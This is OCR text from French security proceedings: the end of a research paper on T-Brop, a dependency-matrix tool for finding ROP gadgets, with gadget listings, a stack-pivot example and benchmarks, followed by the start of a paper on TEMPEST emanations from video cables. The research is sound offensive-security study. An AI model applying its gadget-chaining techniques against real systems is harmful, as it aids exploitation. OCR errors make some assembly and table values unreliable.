ou n est le nombre de 1 dans la matrice de dépendances, et d le nombre
de (pseudo-)registres. Ainsi pour une permutation ce critére est nul.

— nombre de dépendances dans la condition de chainage.

— nombre de registres déréférencés. Trois déréférencements dont I’adresse
dépend d’un seul et méme registre comptent pour un, un déréférence-
ment dont ’adresse dépend de trois registres compte pour trois.

— nombre d’instructions.

Ezxemple 12. Considérons les deux gadgets suivants :

add rbx, [rdx+4*rcx] push rax
imul rbx push rbx
call [rax+0xCO5SFEFE] push rcx

mov rcx, rbx
mov rbx, rax
pop rax

pop rdx

pop rsi

pop rdi

ret 0x10
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La gadget de gauche est plus court en nombre d’instructions ainsi qu’en
nombre de bytes (13 contre 16). Pourtant dans le cadre d’une recherche
de gadgets il nous semble plus raisonnable d’étendre le second.

6.2 Consultation

A partir de Pensemble des gadgets étudiés, une base de données associant
entre autre a tout couple de registres (i, j) ’ensemble des gadgets g tels
que Mgy(i,7) =1, est créée.

Une fois la base constituée il est possible d’effectuer un filtrage pour
en extraire une liste de gadgets intéressants, triés par cotit croissant. Cette
liste réduite peut alors étre étudiée par une approche plus classique, comme
pour les outils purement syntaxiques, ou passée a un outil automatique
plus précis. Le filtrage peut se faire sur la présence, I'unicité, ou ’absence
d’une ou plusieurs dépendances, sur la condition de chainage...

Le filtrage sur les dépendances nous permet également de filtrer les
gadgets par rapport au décalage sur la pile. Cela peut étre utile a un
analyste qui souhaiterait éviter une région de la pile qu’il ne controle pas.
Si stack; ne dépend que de stack; alors a priori il y a un décalage de i — j
cellules ; si stack; ne dépend que de stack; et stack;y1 alors on peut borner
le décalage entre : — j et i — 5 — 1 cellules; Le décalage peut également
étre majoré ou minoré en considérant les dépendances vers stackynder €t
stackqyer. Les bornes calculées avec cette heuristique sont correctes en
général, mais il est toujours possible d’effectuer une permutation sur la
pile sans changer le pointeur de pile.

Le filtrage sur les dépendances a été étendu aux combinaisons de deux
gadgets réalisant un flux d’un registre r1 a un registre r2. Pour le premier
gadget nous commencons par éliminer tous ceux dont la condition de
chainage n’est pas réalisable. Ensuite pour chaque registre r3, le gadget
le moins cotliteux réalisant une dépendance de r1 vers r3 est recherché.
Pour le second gadget, pour chaque 3, nous éliminons tous ceux dont
la condition de chainage apres ’exécution du premier gadget n’est pas
réalisable. Parmi ces gadgets nous retournons le moins cofliteux parmi
ceux réalisant r3 vers r2.

Ezxzemple 13. Dans le cadre d’une analyse, une vulnérabilité nous permet
de contréler un buffer pointé par rax et la cible du prochain saut. On
cherche d’abord un gadget ayant une dépendance de rax et mem, vers
rsp : aucun résultat. On cherche donc a construire une chaine passant par
un registre intermédiaire, on obtient :
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mov rcx, rax
call [rax+8]

mov rdx, [rcx+0x50]
mov rbp, [rcx+0x18]
mov rsp, [rcx+0x10]
jmp rdx

Bien stiir I'outil ne regarde que les dépendances, d’autres propositions
contenant par exemple mov rdx, [rax-0x30] €t movsxd rsp, [rdx-0x50] sont in-
utiles dans notre contexte : nous ne controlons pas [rax-0x30] et nous
voulons un controle total sur rsp.

L’outil n’est pas magique, mais permet a ’analyste d’éliminer efficace-
ment un grand nombre de gadgets inutiles et de mettre en avant certains
gadgets qui n’auraient pas forcément été considérés avec un simple grep.

7 Implémentation

L’approche a été implémentée en python 3 dans I'outil T-Brop disponible
sur le compte GitHub des divisions SSI de la DGA?. Pour le désassemblage
nous nous appuyons sur la branche next!? de capstone [23], et pour la
manipulation de matrices booléennes creuses sur SciPy [13] et NumPy [19].

La branche next de capstone indique pour chaque instruction le type
d’acces sur les registres et opérandes : lecture ou modification. Cela nous
permet de trouver rapidement une approximation satisfaisante des dépen-
dances pour la plupart des instructions : tout ce qui est écrit dépend de
tout ce qui est lu. Pour pouvoir gérer correctement la pile, les dépendances
pour les opérations la concernant doivent étre précisées.

Pour le moment notre implémentation ne gere que le x86_64. Nous
n’avons di préciser les dépendances que pour les opérations de type caii,
ret, push, pushf, pop, popf, ainsi que pour add rsp, 0x... et sub rsp, Ox.... Toute
autre opération sur rsp menant a une corruption de pile comme indiqué en
section 5.2. Afin d’améliorer la précision nous avons également précisé les
dépendances pour xor utilisé comme une mise a zéro et xchg. Pour toutes
les autres instructions du x86_ 64 et de ses extensions gérée par la branche
next de capstone nous utilisons I'heuristique précédemment décrite.

Les représentations matriciels et tabulaires des dépendances sont par-
fois difficilement lisibles, surtout avec quelques centaines de registres. Nous
avons donc inclus un pretty printer qui permet de mettre en évidence tous
les registres modifiés, en ignorant les simples décalages de la pile.

9 github.com/DGA-MI-SSI/T-Brop
10 https://github.com/aquynh/capstone/tree/next
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4889742448 mov qword ptr [rsp + 0x48], rsi
4883c448 add rsp, 0x48
5f pop rdi
ffel jmp rax
Cost: 38

++++ DepMatrix ++++

rflags <--- rsp

rdi <--- rsi

deref <--- deref, rsp
stack_{-1} <--- rsi

++++ chainCond ++++
rax

L’ajout d’une architecture, méme exotique, ne devrait pas étre trop
fastidieux. Pour la plupart des instructions nous n’avons besoin de savoir
que si les opérandes sont lues ou modifiées.

8 Evaluation

Nous avons comparé T-Brop en termes de performance a deux outils
syntaxiques, rp++ et ROPGadget, et deux outils symboliques, nrop et
angrop. Pour ces outils nous avons mesurer le temps nécessaire pour lister
les gadgets de fichiers exécutables de taille croissante, sauf pour nrop
qui n’active pas son analyse symbolique dans ce cadre, nous avons donc
demandé les gadgets équivalents a mov rax, rbx; ret. Nous avons limité la
taille des gadgets a 10 instructions ou 22 bytes suivant la limite supportée
par les outils. T-Brop obtient des résultats similaire avec ces deux bornes.

Les tests ont été effectué sur une machine virtuelle & deux coeurs
cadencés a 2GHz avec 4Go de mémoire RAM. Les résultat obtenus sont
présentés dans les tables 2 et 3. Le nombre de gadgets identifiés par les
outils est du méme ordre de grandeur, on remarque tout de méme un
facteur deux entre T-Brop et angrop d’une part et rp++ et ROPgadget
d’autre part. Cette différence peut s’expliquer par différents facteurs :
sections analysées, instructions prises en compte, gestion des doublons...
En terme de temps de traitement, comme on pouvait s’y attendre, T-
Brop est beaucoup plus lent que les approches purement syntaxiques.
En plus du désassemblage vers une chaine de caracteres, T-Brop doit
pour chaque instruction identifier les flux d’information, en faire une
matrice de dépendance de quelques centaines de dimensions, calculer un
produit matriciel, et stocker le résultat. T-Brop reste par ailleurs beaucoup
plus rapide que les approches symboliques : pour chaque instruction elles
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Binaire analysé Temps de traitement en minutes:secondes
Nom Taille (ko)| rp++ |ROPgadget| T-Brop | angrop nrop
fstab-decode 6] 0:00.00 0:00.15 0:00.90 | 0:07.66 | 0:24.92
java 6| 0:00.00 | 0:00.15 0:00.77 | 0:07.56 | 0:33.18
fgconsole 10| 0:00.01 | 0:00.18 0:01.13 | 0:12.75 | 1:42.91
nisdomainname 14| 0:00.01 0:00.16 0:01.30 | 0:16.25 | 3:07.10
openvt 19| 0:00.02 0:00.20 0:01.54 | 0:18.04 | 5:36.12
echo 31| 0:00.06 | 0:00.30 0:03.67 | 0:59.79 | 13:00.73
rmdir 39| 0:00.10 | 0:00.39 0:05.00 | 1:11.10 | 11:22.58
touch 63| 0:00.13 | 0:00.51 0:07.02 | 1:38.85 | 20:11.61
kmod 151| 0:00.35 | 0:01.23 0:18.73 | 3:59.10 | 42:00.60
tar 375( 0:01.10 | 0:03.51 0:58.47 | 2:45.70
ct++ 898| 0:01.81 | 0:04.86 1:44.97 | 15:40.45
rbash 1013| 0:03.01 | 0:11.56 2:38.21 | 25:553.19
static-sh 1918 0:05.74 0:18.22 9:07.77 | 47:01.06
python3 4360| 0:11.27 | 0:23.45 17:14.36 | 21:12.50

Tableau 2. Temps nécessaire au traitement de fichiers exécutables de taille croissante.
Une cellule vide indique un temps de traitement supérieur a une heure. Une cellule
grisée en italique indique un arrét prématuré di a une erreur a ’exécution.

Binaire analysé Nombre de gadgets identifiés

Nom Taille (ko) rp++ ROPgadget T-Brop angrop

fstab-decode 6 110 145 72 Err
java 6 98 131 61 55
fgconsole 10 188 260 119 110
nisdomainname 14 252 329 159 146
openvt 19 282 391 164 156
echo 31 1209 1218 633 626
rmdir 39 1528 1588 811 Err
touch 63 2252 2292 1249 1083
kmod 151 6660 7019 3818 3728
tar 375 20406 24322 10757 Err
c++ 898 37849 29785 17392 Err
rbash 1013 51687 52632 25694 Err
static-sh 1918 116147 111916 63384 Err
python3 4360 206262 136360 115460 Err

Tableau 3. Nombre de gadgets identifiés dans des fichiers exécutables de taille croissante.
Une cellule vide indique que 'analyse a été stoppée au bout d’une heure. Une cellule
grisée en italique indique un arrét prématuré di a une erreur a I’exécution.
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doivent faire un calcul symbolique bien plus couteux qu’un calcul matriciel.
En plus de ce calcul symbolique nrop requéte un solveur SMT pour chaque
gadget identifié. Ainsi, sur un binaire de 151ko par exemple, nrop nécessite
environ 40 minutes, angrop 4 minutes, T-Brop 20 secondes et rp++ et
ROPgadget autour d’une seconde. Précisons que seuls angrop et nrop
proposent une implémentation parallele et profitent de la présence d’'un
deuxieme cceur.

Nous n’avons pas comparé notre approche a PSHAPE, cependant
I’auteur rapporte un traitement de 4,7Mo/heure sur un serveur avec 40
cpu Intel Xeon Eb5 4640 avec 224 Go de RAM [7]. Bien que nous n’ayons
pas utilisé les méme binaires de test, Il nous semble raisonnable d’affirmer
que T-Brop est plus rapide.

Une évaluation de la pertinence de ces différents outils dans le cadre
d’une analyse serait souhaitable mais difficile & mettre en place. De fa-
con anecdotique, une analyse avec rp++ dans le cadre du scénario de
I’exemple 13 nous a permis d’obtenir un stack pivot en cinq gadgets, quand
T-Brop nous a proposé en quelques minutes une solution en deux gadgets.

En général les informations renvoyées par T-Brop sont relativement
précises malgré les approximations. Reprenons les gadgets de 'exemple 12,
et affichons la sortie de T-Brop.

add rbx, [rdx+4*rcx]
imul rbx
call [rax+0xCOS5FEFE]

++++ DepMatrix ++++

rflags <--- rax, rbx, rcx, rdx, mem_r

rax <--- rax, rbx, rcx, rdx, mem_r

rbx <--- rbx, rcx, rdx, mem_r

rdx <--- rdx, rax, rbx, rcx, mem_r

deref <--- deref, rax, rbx, rcx, rdx, rsp, mem_r

++++ chainCond ++++
rax, rdx, rcx, rbx, mem_r

Comme prévu ce gadget induit un grand nombre de dépendances.
Lors de nos tests, angrop n’a pas pu analyser ce gadget, ni une version
remplacant le ca11 final par un mov push ret.
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Le second gadget est plus long mais plus simple :

push rax ++++ DepMatrix ++++

push rbx rax <--- rcx

push rcx rbx <--- rax

mov rcx, rbx rcx <--- rbx

mov rbx, rax rdi <--- stack_O

pop rax rdx <--- rbx

pop rdx rsi <--- rax

pop rsi deref <--- deref, rsp

pop rdi stack_{-7} <--- rcx

ret 0x10 stack_{-6} <--- rbx
stack_{-5} <--- rax
++++ chainCond ++++
stack_3

Cette fois ci, angrop est plus précis car il précise bien qu’il s’agit
d’égalités et non de simples dépendances :

Stack change: 0x20
Changed registers: set([’rcx’, ’rsi’, ’rbx’, ’rdx’, ’rdi’, ’rax’])
Popped registers: set([’rdi’])
Register move: [rbx to rcx, 64 bits]
Register move: [rax to rsi, 64 bits]
Register move: [rax to rbx, 64 bits]
Register move: [rbx to rdx, 64 bits]
Register move: [rcx to rax, 64 bits]
Register dependencies:

rbx: [rax ()]

rcx: [rbx ()]

rdx: [rbx ()]

rax: [rcx ()]

rsi: [rax ()]

Angrop utilisant une approche symbolique, il est assez facile de
construire des exemples ou T-Brop est moins précis. Comme expliqué,
T-Brop s’appuie sur capstone, or capstone ne différencie pas les flags. De
plus T-Brop approxime les flux en considérant les lectures et écritures
indépendamment. Ainsi sur I’exemple suivant :

dec rcx ; rflags <--- rcz ++++ DepMatrix ++++
lodsq ; rax = [rsi] rflags <--- rcx
; rsi += (DF?-8:8) rax <--- rcx, rsi, mem_r
rsi <--- rsi, rcx, mem_r
deref <--- deref, rsi, rsp

++++ chainCond ++++
stack_O




56 T-Brop

T-Brop propage une dépendance de rcx vers les flags, puis du direction
flag, lu par 1odsq, vers rax, modifié par cette méme instruction. Un meilleur
traitement des flags et de 10dsq permettrait d’obtenir un résultat proche
de celui d’angrop :

Stack change: 0x8
Changed registers: set([’rcx’, ’rsi’, ’rax’])
Popped registers: set ([])
Register dependencies:
rcx: [rcx (O]
rsi: [rsi ()]
Memory read:
address (64 bits) depends on: [’rsi’]
data (64 bits) stored in regs:[’rax’]

Les alias sont plus problématique. Dans ’exemple suivant T-Brop
mangque ’écriture sur la pile et la dépendance de rcx vers rax :

mov rbx, rsp ++++ DepMatrix ++++

mov [rbx], rcx rax <--- stack_O

pop rax rbx <--- rsp

ret deref <--- deref, rsp
mem_w <--- Ircx, rsp

++++ chainCond ++++
stack_1

Si angrop semble adopter la méme approche que nous pour les alias
potentiels, il traite correctement les alias avérés :

Stack change: 0x10
Changed registers: set([’rax’, ’rbx’])
Popped registers: set ([])
Register move: [rcx to rax, 64 bits]
Register dependencies:

rax: [rcx ()]

Il faut cependant garder a I'esprit que dans nos tests, angrop exécuté
sur deux coeurs est dix a vingt fois plus lent que T-Brop sur un seul ceeur,
lorsqu’il termine sans erreur.

9 Travaux futurs

Nous avons plusieurs pistes pour améliorer T-Brop. En terme de temps
d’exécution la priorité est une implémentation multi-thread. La recherche
de gadget se parallélise naturellement : le binaire analysé n’est accédé qu’en
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écriture, et chaque retour de fonction ou branchement indirect peut étre
traité indépendamment. Angrop propose déja une telle implémentation.

La précision peut également étre améliorée de fagon générique en ajou-
tant par exemple un pseudo-registre pour chaque déréférencement vers une
variable globale ([0x...] et [rip+0x...] en x86_64). Nous envisageons égale-
ment de différencier plusieurs niveau de dépendance pour distinguer les
opérations simples comme une affectation ou une addition, des opérations
ne concernant que quelque bits ou difficilement inversibles.

Par ailleurs notre fonction de cotlit doit encore étre optimisée pour
étre plus pertinente. D’autre fonction de colit peuvent également étre
intéressante, comme GalLity [8], si elles peuvent étre calculées rapidement
et utilisées en ligne pour guider la recherche de gadgets.

Pour le moment T-Brop n’offre qu’une fonctionnalité de filtrage in-
telligent sur 'ensemble des gadgets, ainsi qu’une estimation de la taille
de la plus petite chaine permettant d’obtenir une dépendance donnée. Le
chainage automatique est limité aux combinaisons de deux gadgets comme
décrit en section 6.2. Pour aller plus loin, nous pouvons voir la matrice
de dépendance comme la matrice d’adjacence d’un graphe. On peut donc
rechercher des chaines candidates en cherchant des chemins dans le graphe
correspondant a Mg la matrice d'un ensemble de gadgets comme définie
section 4.3. Avec cette approche la condition de chainage ne peut pas étre
prise en compte.

Une autre approche plus précise consiste a considérer les gadgets
comme des transitions dans un graphe dont chaque nceud représente un
état du systeme : pour chaque registre un bit indiquant s’il est influencé
par 'analyste ou non. On se retrouve avec un nombre d’états exponentiel
en le nombre de registres. Il faut donc réduire le nombre de registres apres
la phase de création des gadgets et utiliser des algorithmes de plus court
chemin pour les tres grands graphes. La condition de chainage peut alors
étre prise en compte.

10 Conclusion

Nous avons présenté une approche originale pour I’aide a la réalisation de
ROP chain basée sur un calcul de matrice de dépendances. Elle permet un
filtrage plus expressif que les approches syntaxiques tout en nécessitant
des calculs beaucoup moins lourds que les approches symboliques.
L’approche peut étre conservative et garantir 'identification de toutes
les dépendances au prix d’un certain nombre de faux positifs. Plusieurs
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heuristiques relachant 'exigence de correction ont été présentées pour
réduire le nombre de faux positifs.

Nous avons également montré comment utiliser les matrices de dépen-
dances pour évaluer la longueur minimal d’une ROP chain permettant
d’obtenir certains transferts d’information. Aucune autre méthode connue
ne permet cette fonctionnalité aussi efficacement.

L’approche a été implémentée dans un outil libre prometteur, bien
plus rapide que les outils symboliques.
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A Décidabilité/Complexité du calcul de matrice de
dépendance

Le calcul de la matrice M est indécidable dans le cas général. Pour s’en
convaincre, prenons un programme P, ajoutons un registre w n’apparais-
sant pas dans P, ’entrée correspondant a l'influence de w en entrée sur w
en sortie dans la matrice M est égale a 1 si et seulement si P termine. En
effet, par construction w n’influence pas ’exécution de P, et les calculs
effectués n’influencent pas w. S’il existe une trace finie a partir d’un état
initial I, il est donc possible de construite un état I’ identique & I sauf
sur le registre w tel que I et I’ meénent en un temps fini & deux états pour
lesquels la valeur de w est différente, et M (w,w) = 1.

Réciproquement, si P ne termine pas, alors aucune trace ne meéne a un
état final, il est donc impossible de construire deux états initiaux menant
a deux états finaux pour lesquels la valeur de w est différente, dans ce cas
M (w,w) est nul, mais également toutes les autres entrées de la matrice
M. Attention, cela ne veut pas dire qu’une matrice de dépendance nulle
implique la non-terminaison, par exemple un programme qui initialise
tous les registres a une valeur fixe aura une matrice de dépendance nulle.

Ici, nous ne nous intéressons qu’a des séquences d’instructions sans
structure de controle (et sans réécriture de code), le probleme devient alors
NP-complet. Sans structure de controle le nombre de registres et d’acces
mémoires est borné linéairement par la taille du programme. Chaque bit
manipulé a chaque instruction de la séquence peut donc étre exprimé sous
la forme d’une formule logique de taille polynomiale!! en la longueur du
programme. Pour tous registres i et j, M (i, j) peut alors également étre
exprimé comme un probleme de satisfiabilité (SAT) d’une formule logique
de taille polynomiale en la longueur du programme : est-ce qu’il existe
deux états identiques partout sauf sur le registre j tels que 'application
de la séquence d’instruction s mene a deux états pour lesquels le registre
1 est différent 7

Réciproquement, tout probleme SAT peut se réduire a un calcul de
matrice de dépendance. Etant donnée une formule SAT S et une séquence
s permettant de I’évaluer, la ligne dans M, correspondant au résultat
de cette évaluation est nulle si et seulement si S est une tautologie ou
une antinomie. Une simple évaluation de S permet de distinguer les deux.
Ainsi, le calcul de matrice de dépendance et SAT appartiennent a la méme
classe de complexité.

1 Polynomiale et non linéaire car pour chaque accés mémoire il faut vérifier si 'adresse
déréférencée correspond a un accés mémoire précédent.
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1 Contexte

Le mot-clef TEMPEST désigne I’ensemble des mesures de protection mises
en place afin de protéger des équipements traitant des informations sen-
sibles contre I'interception des signaux électromagnétiques qu’ils seraient
susceptibles d’émettre accidentellement.

Selon la 1égende, la découverte de ces signaux parasites compromettants
(SPC) remonte a la seconde guerre mondiale, lorsque des ingénieurs de
Bell Telephone découvrent avec stupeur qu’ils parviennent a intercepter
les messages clairs traités par le centre cryptographique des Signal Corps,
a l'aide des oscilloscopes de leur laboratoire situé de 'autre coté de la rue,
4 25 metres de 13 [1]. A cette époque les systémes interceptés étaient des
télétypes électromécaniques.

Cette menace a rapidement été prise au sérieux par les grandes puis-
sances, notamment les Etats-Unis, et par extension les pays de POTAN,
pour lesquels cette menace est associée au nom de code TEMPEST. Pour
contrer cette menace, un cadre normatif a été mis en place, couvrant
le blindage des équipements, la protection des sites et les méthodes de
mesures. Le secret couvrant ces normes, qui traitent de phénomeénes com-
plexes et difficiles a expliquer, et dont les effets pourraient presque paraitre
surnaturels (on n’est pas loin de la clairvoyance), ont rendu ce domaine
mystérieux pour le grand public. Quelques rares chercheurs ont publié
des travaux sur le domaine, notamment Wim Van Eck [2], popularisé
par lauteur de science-fiction Neal Stephenson [3], ou Markus Kuhn de
I'université de Cambridge [4]. Plus récemment, Martin Marinov, également
de l'université de Cambridge [5], a publié TempestSDR, le premier outil
OpenSource permettant de reconstituer en temps réel I'image vidéo d’un
écran a partir de signaux parasites [6].
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2 Les normes TEMPEST en France

L’ANSSI édite une démarche de sécurisation destinée a protéger le risque
de compromission d’information par captation de SPC. La mise en ceuvre
de l'instruction interministérielle n°300 [7] est recommandée pour protéger
les informations sensibles des entreprises par exemple. Cependant son
application est obligatoire pour le traitement d’information classifiée de
défense.

Plusieurs solutions sont proposées pour protéger la confidentialité des
informations traitées :

— l’installation des systemes sensibles dans les pieces les moins exposées
au risque, c’est a dire les plus éloignées des zones publiques et des
murs et planchers mitoyens;

— la prise en compte de 'atténuation que la structure des batiments
apporte aux signaux radiofréquences. Il s’agit du principe du zonage
TEMPEST des locaux ;

— Le choix de technologies limitant les risques d’interception, tel que
I’emploi de fibre optique ou 'utilisation d’équipements spécialement
congus pour limiter au maximum le niveau des SPC produits par
I'ordinateur. On parle alors de « matériel certifié au plan TEMPEST ».

En cas d’impossibilité d’appliquer la démarche de sécurisation proposée,
I’emploi d’une cage de Faraday peut devenir une solution alternative.

3 Evolution de la menace : le cas du signal vidéo

La menace est ancienne, mais elle s’applique toujours aux systemes actuels.
Si beaucoup de technologies considérées a risque sont devenues obsoletes,
comme les téléimprimeurs, les écrans cathodiques ou les claviers PS/2,
d’autres technologies les ont remplacées, et sont elles aussi des sources
potentielles de signaux compromettants. Les signaux lents et de grande
amplitude sont devenus des signaux différentiels ultra rapides. Mais si les
grandeurs physiques et les modes de fuite ont changé, la menace existe
toujours.

Prenons a titre d’exemple les signaux passant dans le cable vidéo
d’un ordinateur. Autrefois analogique (norme VGA), le signal vidéo est
devenu numérique (norme DVI, ou norme HDMI, cette derniére véhiculant
principalement des signaux DVI).
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3.1 Les signaux VGA

Dans le cas du signal VGA, le signal vidéo est transmis sur trois cables
coaxiaux (un par couleur élémentaire : rouge, vert, bleu). Pour chaque cou-
leur élémentaire, I'intensité d’un pixel est codée par une tension comprise
entre 0 Volt et 0,7 Volt, dont la valeur dépend linéairement de l'intensité.
Les pixels sont transmis séquentiellement, ligne par ligne, de gauche a
droite et de haut en bas, ’ensemble formant une trame. Les trames sont
transmises continuellement, a la fréquence dite de rafraichissement de
I'écran (ou fréquence trame). Généralement des marges horizontales et
verticales sont réservées autour de I'image visible, afin de laisser du temps
a l’électronique de controle de I’écran de se préparer a passer d’'une ligne
a lautre, et d’une trame a ’autre.
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Nous obtenons donc 3 fréquences cruciales pour 'interprétation d’un
signal VGA :

— la fréquence trame, c’est-a-dire la fréquence de répétition d’une trame,
généralement aux alentours de 60 Hertz ;

— la fréquence ligne, qui est le produit de la fréquence trame et du
nombre de lignes d’une trame (ce nombre inclut les lignes visibles et
les lignes des marges invisibles en haut et en bas), faisant généralement
plusieurs dizaines de kilohertz ;

— la fréquence pixel, qui est le produit de la fréquence ligne et du nombre
de pixels par ligne (ce nombre inclut les pixels visibles et les pixels des
marges invisibles a gauche et a droite), faisant généralement plusieurs
dizaines de mégahertz.

A titre d’exemple, pour un signal HD 1080p 60 Hz (1920x1080), le
standard HDTV prévoit 280 pixels de marges horizontales et 45 pixels de
marges verticales, soit un total de 2200x1125 pixels. La fréquence trame est
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fixée a 60 Hertz, donc la fréquence ligne est de 60 x 1125 = 67, 5kilohertz,
et la fréquence pixel est de 67,5k H z x 2200 = 148, 5mégahertz.

Afin d’aider I’écran a se synchroniser a ce signal, le cable VGA véhicule
également des signaux de synchronisation donnant les temps de début de
lignes et début de trames.

Un blindage n’étant jamais parfait, une partie de 1’énergie de ces
signaux va s’échapper du cable par rayonnement. Ce rayonnement est
associé aux variations du signal, et non a son niveau continu. En effet,
ce sont les fronts, montants ou descendants, d’un signal qui génerent
des signaux parasites, et plus ces fronts sont raides (plus le dV/dt est
important), plus I’énergie rayonnée augmente.

Le signal VGA est relativement rapide, il est donc propice au rayon-
nement, mais la présence ou non de fronts est conditionnée au contenu
de I'image, notamment aux variations brusques d’intensité lumineuse au
sein d’une ligne. Ainsi sur la capture ci-dessous, on constate que seules les
frontieres verticales des lettres sont visibles, lorsque ces lettres présentent
un fort contraste par rapport au fond.
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3.2 Le raster

Le but d’un raster, comme TempestSDR, est de reconstituer I'image
affichée a I’écran, a partir des signaux parasites corrélés a des signaux
d’écran. En 'occurrence, il peut s’agir des signaux rayonnés par le cable
VGA, qui sont détectés (démodulés en amplitude) par un récepteur a
une fréquence donnée, avec une bande passante suffisamment large par
rapport a la fréquence pixel. Une grande bande passante est capitale car
c’est elle qui va déterminer la netteté horizontale de I’'image : le rapport
de la fréquence pixel sur la bande passante donne la largeur du flou, en
pixels.

Le fonctionnement d’un raster est similaire a celui d’un écran : il doit
restituer sur une image 'intensité du signal, en balayant de gauche a droite
et de haut en bas. La seule différence est qu’il n’a pas acceés aux signaux
de synchronisation ligne et trame. Il doit donc reconstituer ces signaux.
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Ces derniers étant réguliers, il suffit de retrouver leur fréquence et leur
phase pour retrouver I'image originale. Outre l'affichage de 'image, une
fonction essentielle d’un raster est donc d’assister 'opérateur a retrouver,
avec une grande précision, ces fréquences ligne et trame. Une fonction
importante du raster est également de pouvoir moyenner plusieurs trames
successives, afin d’améliorer le rapport signal a bruit de 'image.

Il faut noter que I'image d’un raster sera toujours monochrome, les
rayonnements des cables rouge, vert et bleu s’additionnant et ne pouvant
pas étre différenciés au niveau de ’antenne de réception.

3.3 Les signaux DVI et HDMI

Les signaux véhiculés par les cables DVI ou HDMI sont des signaux nu-
mériques différentiels transmis sur des paires torsadées. Le signal HDMI
est identique au signal DVI. Usuellement, 4 paires sont utilisées : 3 véhi-
culant les couleurs rouge, vert et bleu, et la derniere véhiculant un signal
d’horloge synchronisant le flux binaire. Dans les cables DVI, trois paires
supplémentaires peuvent étre utilisées pour doubler le débit rouge, vert,
bleu pour les trés hautes résolutions. Ces paires supplémentaires n’existent
pas dans les cables HDMI.

Une particularité du signal DVI est qu’il reprend exactement les mémes
contraintes temporelles que le signal VGA : les fréquences pixel, ligne et
trame ne changent pas par rapport au VGA. Ce qui change est la méthode
de transmission de l'information. Ainsi, au lieu de transmettre I'intensité
d’un pixel par un niveau analogique, celle-ci est transmise par ’envoi d’un
code binaire de 10 bits. Ce code binaire est issu de ’algorithme TMDS
encodant 8 bits dans 10 bits, qui minimise le nombre de transitions et
qui équilibre le nombre de 0 et de 1 afin d’améliorer la fiabilité de la
transmission. Les signaux de synchronisation ligne et trame sont encodés
dans les marges du signal bleu. En HDMI, les marges vidéo sont également
utilisées pour encoder de I'audio numérique.

Le signal DVI est donc un signal numérique dix fois plus rapide
que le signal VGA. Ainsi pour le mode HD 1080p, avec une fréquence
pixel de 148,5 MHz, les paires différentielles transmettent 1485 Mbit /s
chacune. Comparativement au VGA, les fronts de tension sont beaucoup
plus nombreux et plus rapides. Une autre différence est que, méme si
I'intensité d’une séquence de pixels ne varie pas (par exemple une ligne
de couleur unie), il y aura quand méme la présence de fronts binaires,
et donc d’énergie pouvant étre rayonnée. De plus, malgré la complexité
de I’algorithme TDMS, la distribution en fréquence de ’énergie rayonnée
dépend fortement de la valeur binaire transmise.
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Cette dépendance, ainsi que la similitude temporelle du signal DVI au
signal VGA explique pourquoi un raster fonctionne aussi bien en VGA
qu’en DVI. Ainsi, a une fréquence donnée, chaque valeur de pixel 0 a 255
va générer une intensité différente (mais non proportionnelle) de parasites,
qui vont permettre avec une bonne probabilité de discerner le contenu
de I’écran. Il n’est pas nécessaire de multiplier la bande passante par 10
(ce qui serait cotiteux et contre-productif), car 'unité d’information est
toujours le pixel, et 'intensité moyenne du code TDMS de 10 bits suffit
pour interpréter 'information présente a 1’écran. La capture ci-dessous
illustre ce phénomeéne. On constate par exemple que seule une partie de
la photo est reconnaissable, mais elle est en inversion vidéo, alors que le
texte ne l’est pas.
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3.4 Les défauts de blindages DVI et HDMI

Nous avons vu que les signaux DVI sont beaucoup plus rapides que
les signaux VGA, et présentent beaucoup plus de fronts raides, et donc
sont tres susceptibles de rayonner des signaux parasites compromettants.
Le blindage de ces signaux est donc capital. Les signaux sont véhiculés
dans un cable blindé contenant les paires différentielles. Généralement
nous constatons que le cable proprement dit n’est pas une source de
rayonnement significative, car son blindage est standardisé et répond a
des normes strictes de compatibilité électromagnétique. En revanche, le
raccordement du cable au connecteur DVI ou HDMI peut parfois faire
défaut, notamment au niveau du raccordement de la tresse de blindage
du cable avec le corps du connecteur. En effet, si cette reprise du blindage
n’est pas faite de maniere continue tout autour du connecteur, le blindage
est inefficace et un rayonnement tres intense s’échappe a ce niveau.
L’analyse par démontage de dizaines de cables DVI et HDMI permet
de dégager une tendance générale. 4 types de blindages ont été rencontrés :

— l’absence totale de blindage. Bien évidemment ce type de cordon
rayonne beaucoup ;
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— la présence d’un blindage partiel en feuille de cuivre, et d’un raccord
de la tresse par une « queue de cochon », c’est-a-dire que la continuité
¢électrique entre la tresse du cordon et le blindage du connecteur n’est
faite que par un fil simple. Ce type de cordon rayonne beaucoup car
ce type de blindage est inefficace a haute fréquence;;

— la présence d’un blindage en feuille de cuivre avec un raccord soudé a
360° de la tresse du cordon. Ce type de cable rayonne tres peu;

— la présence d'un capot acier blindé, qui pince la tresse du cordon. Ce
type de capot n’a été rencontré que pour des connecteurs DVI. Ce
type de cable rayonne tres peu.

Les photos suivantes montrent des exemples de cables DVI et HDMI
de ces quatre types de blindages.

La provenance du cable conditionne tres souvent sa qualité. Nous avons
constaté que dans la tres grande majorité des cas, les cables de mauvaise
qualité (les deux premiers types) sont des cables achetés au détail, alors
que les cébles de bonne qualité (les deux derniers types) ont été livrés avec
des unités centrales ou des écrans de grands constructeurs informatiques.
Notre analyse est que seuls ces derniers sont obligés de respecter des
normes de compatibilité électromagnétique. Les fabricants de cables au
détail font I’économie du blindage, ou ne vérifient pas la qualité de leur
fabrication. Le prix, 'aspect visuel, ou I'effort de marketing fabricant n’a
généralement aucun impact sur la pietre qualité du blindage. Certains
prétendent méme que leur cable apporte une protection anti-virus'!

Les convertisseurs de type, comme 'adaptateur DVI-HDMI illustré
ci-dessous, sont également concernés par ce phénomene. Un adaptateur

! http://www.zdnet.com/article/this-xbox-hdmi-cable-has-anti-virus-
protection/
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mal blindé peut entrainer un rayonnement tres important, méme s’il est
raccordé a de bons cables.

Nous estimons que le rapport des rayonnements entre un bon blindage
et un mauvais blindage peut atteindre 30 dB, ce qui a pour conséquence
de multiplier la distance théorique d’interception par 32. Ainsi, si avec un
cable DVI correctement blindé il devient difficile de capturer son signal a
plus de 1 metre, le méme résultat sera atteint a 32 metres d’un cable DVI
mal blindé.

4 La protection TEMPEST ou « le bon équipement a la
bonne place »

L’hypotheése initiale est que 'attaquant n’a pas acces physique a la cible.
La cible peut étre par exemple un ordinateur utilisé pour le développement
de nouveaux produits, un vidéo projecteur de la salle de réunion ou se
déroule des présentations stratégiques pour la direction, ou bien encore
un mur d’images permettant le suivi d’une opération sensible en cours.
Le « bon équipement » signifie d’utiliser un équipement limitant
